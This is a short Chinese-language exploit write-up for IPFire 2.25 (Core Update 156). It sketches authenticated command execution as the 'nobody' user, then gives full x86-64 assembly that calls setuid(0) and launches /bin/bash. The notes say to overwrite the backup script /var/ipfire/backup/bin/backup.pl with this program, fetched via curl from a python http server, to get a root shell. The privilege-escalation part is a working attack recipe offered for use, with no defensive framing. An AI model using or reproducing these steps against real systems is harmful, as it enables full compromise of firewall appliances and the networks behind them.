Ipfire 2-25（核心更新 156）经过身份验证的远程代码执行

• 安装任意软件包时系统会运行命令

• 系统仅从 HTML 中获取 7zip

• 并检查 tmp 目录

• 版本 2.25 - 核心更新 156

• ipfire 允许登录后以 nobody 身份运行任意操作系统命令

获取 root 权限！

• 检查 suid 二进制文件

• backup 程序会运行另一个脚本。/var/ipfire/backup/bin/backup.pl（它是一个 bash 脚本，权限看起来不错）

• 尝试写入 bash 脚本。（没有错误。很好！）

• 尝试运行 bash

• 是的。我们可以运行，但权限较低。我们必须触发 setuid(0)！
• 保存此内容并运行 alti name.asm q
• alti 是我在 soo_deep 仓库中的自用编译检查程序。

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• 并将新程序写入 /var/ipfire/backup/bin/backup.pl。（我们可以用 python http server 和 curl 来写入）

• 然后享受 root shell 吧！